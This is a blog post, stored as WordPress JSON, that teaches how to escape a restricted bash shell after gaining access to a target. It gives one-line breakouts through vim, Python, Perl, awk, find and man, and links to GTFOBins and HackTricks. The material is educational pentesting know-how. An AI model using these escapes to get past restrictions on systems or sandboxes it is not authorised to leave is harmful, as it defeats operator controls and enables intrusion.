{"id":192,"date":"2023-03-23T21:14:04","date_gmt":"2023-03-23T21:14:04","guid":{"rendered":"https:\/\/merrillnewman.tech\/?p=192"},"modified":"2023-03-23T21:20:56","modified_gmt":"2023-03-23T21:20:56","slug":"escaping-restricted-shells-via","status":"publish","type":"post","link":"https:\/\/merrillnewman.tech\/?p=192","title":{"rendered":"Escaping Restricted Shells"},"content":{"rendered":"\n<h3 class=\"wp-block-heading\">Overview<\/h3>\n\n\n\n<p>Upon gaining a shell on a target you may find that you are in a restricted shell. Restricted shells are introduced as another line of defense and greatly limited what you can do within a shell. In this post I will show a few different techniques to escape this restricted shell and gain full functionality.<\/p>\n\n\n\n<!--more-->\n\n\n\n<h3 class=\"wp-block-heading\">Restrictions<\/h3>\n\n\n\n<p>As you probably inferred, a restricted shell is restrictive is what it allows you to do. The default restrictions can be found within the bash manual page.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"368\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-1024x368.png\" alt=\"\" class=\"wp-image-193\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-1024x368.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-300x108.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-768x276.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-1536x553.png 1536w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-7-2048x737.png 2048w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Default bash restrictions<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">1. Text Editors<\/h3>\n\n\n\n<p>Some text editors have shell escape sequences which allows us to escape our restricted environment.<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"580\" height=\"180\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-9.png\" alt=\"\" class=\"wp-image-195\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-9.png 580w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-9-300x93.png 300w\" sizes=\"auto, (max-width: 580px) 100vw, 580px\" \/><figcaption class=\"wp-element-caption\">In a Restricted shell<\/figcaption><\/figure>\n\n\n\n<p>Here we can see that we are indeed in a restricted shell. To escape from here using vim\/vi we just need to start vim\/vi and run:<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>:set shell=\/bin\/sh\n:shell<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"173\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-11.png\" alt=\"\" class=\"wp-image-197\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-11.png 486w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-11-300x107.png 300w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><figcaption class=\"wp-element-caption\">Setting the shell variable within vim<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"486\" height=\"173\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-12.png\" alt=\"\" class=\"wp-image-198\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-12.png 486w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-12-300x107.png 300w\" sizes=\"auto, (max-width: 486px) 100vw, 486px\" \/><figcaption class=\"wp-element-caption\">Executing the shell within vim<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"363\" height=\"178\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-13.png\" alt=\"\" class=\"wp-image-199\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-13.png 363w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-13-300x147.png 300w\" sizes=\"auto, (max-width: 363px) 100vw, 363px\" \/><figcaption class=\"wp-element-caption\">Unrestricted shell spawned<\/figcaption><\/figure>\n\n\n\n<p>Here we where able to execute \/bin\/sh using vim to escape the restricted shell. Most other text editors that have shell escape sequences are follow similar steps.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">2. Programming Languages<\/h3>\n\n\n\n<p>If certain programming languages are installed on a system we may be able to leverage them to escape our restricted shell. I&#8217;ll list some of the most commonly installed languages here.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Python:<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>python3 -c 'import os; os.system(\"\/bin\/sh\");'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><img loading=\"lazy\" decoding=\"async\" width=\"1024\" height=\"264\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-14-1024x264.png\" alt=\"\" class=\"wp-image-200\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-14-1024x264.png 1024w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-14-300x77.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-14-768x198.png 768w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-14.png 1185w\" sizes=\"auto, (max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">Escaping restricted shell using Python3<\/figcaption><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">Perl:<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>perl -e 'exec \"\/bin\/sh\";'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"891\" height=\"304\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-15.png\" alt=\"\" class=\"wp-image-201\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-15.png 891w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-15-300x102.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-15-768x262.png 768w\" sizes=\"auto, (max-width: 891px) 100vw, 891px\" \/><figcaption class=\"wp-element-caption\">Escaping restricted shell using Python3<\/figcaption><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">Awk:<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>awk 'BEGIN {system(\"\/bin\/sh\")}'<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full is-resized\"><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-16.png\" alt=\"\" class=\"wp-image-202\" width=\"672\" height=\"215\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-16.png 943w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-16-300x96.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-16-768x247.png 768w\" sizes=\"auto, (max-width: 672px) 100vw, 672px\" \/><figcaption class=\"wp-element-caption\">Escaping restricted shell using awk<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\">3. System Binaries<\/h3>\n\n\n\n<p>Some of the binaries on Linux have the ability to execute shell commands, which we can use to escape our restricted shell. I&#8217;ll list a few common ones here.<\/p>\n\n\n\n<h5 class=\"wp-block-heading\">Find:<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>find . -exec \/bin\/sh \\; -quit<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"943\" height=\"303\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-17.png\" alt=\"\" class=\"wp-image-203\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-17.png 943w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-17-300x96.png 300w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-17-768x247.png 768w\" sizes=\"auto, (max-width: 943px) 100vw, 943px\" \/><figcaption class=\"wp-element-caption\">Escaping restricted shell using find<\/figcaption><\/figure>\n\n\n\n<h5 class=\"wp-block-heading\">Man:<\/h5>\n\n\n\n<pre class=\"wp-block-code\"><code>man ls\n!sh<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"484\" height=\"132\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-18.png\" alt=\"\" class=\"wp-image-204\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-18.png 484w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-18-300x82.png 300w\" sizes=\"auto, (max-width: 484px) 100vw, 484px\" \/><figcaption class=\"wp-element-caption\">Executing sh from man command<\/figcaption><\/figure>\n\n\n\n<figure class=\"wp-block-image size-full\"><img loading=\"lazy\" decoding=\"async\" width=\"543\" height=\"309\" src=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-19.png\" alt=\"\" class=\"wp-image-205\" srcset=\"https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-19.png 543w, https:\/\/merrillnewman.tech\/wp-content\/uploads\/2023\/03\/image-19-300x171.png 300w\" sizes=\"auto, (max-width: 543px) 100vw, 543px\" \/><\/figure>\n\n\n\n<p>These are some of the most common linux binaries you can use to escape a restricted shell but you can find a fill list <a href=\"https:\/\/gtfobins.github.io\/#+shell\">here<\/a>.<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Conclusion<\/h3>\n\n\n\n<p>There are many different methods to escape a restricted shell, way too many to list within one article. If none of these methods helped you here are some links that have more techniques:<\/p>\n\n\n\n<p><a href=\"https:\/\/gtfobins.github.io\/#+shell\">https:\/\/gtfobins.github.io\/#+shell<\/a><\/p>\n\n\n\n<p><a href=\"https:\/\/book.hacktricks.xyz\/linux-hardening\/bypass-bash-restrictions\">https:\/\/book.hacktricks.xyz\/linux-hardening\/bypass-bash-restrictions<\/a><\/p>\n\n\n\n<p><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview Upon gaining a shell on a target you may find that you are in a restricted shell. Restricted shells are introduced as another line of defense and greatly limited what you can do within a shell. In this post I will show a few different techniques to escape this restricted shell and gain full [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"hide_page_title":"","_coblocks_attr":"","_coblocks_dimensions":"","_coblocks_responsive_height":"","_coblocks_accordion_ie_support":"","_mi_skip_tracking":false,"footnotes":""},"categories":[1],"tags":[],"class_list":["post-192","post","type-post","status-publish","format-standard","hentry","category-uncategorised"],"_links":{"self":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/192","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=192"}],"version-history":[{"count":3,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/192\/revisions"}],"predecessor-version":[{"id":209,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=\/wp\/v2\/posts\/192\/revisions\/209"}],"wp:attachment":[{"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=192"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=192"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/merrillnewman.tech\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=192"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}